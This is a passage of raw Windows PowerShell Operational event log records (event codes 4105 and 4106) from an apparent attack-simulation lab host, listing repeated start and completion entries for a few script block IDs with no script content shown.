ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037851
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037829
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037827
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037826
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037809
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037803
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037799
Keywords=None
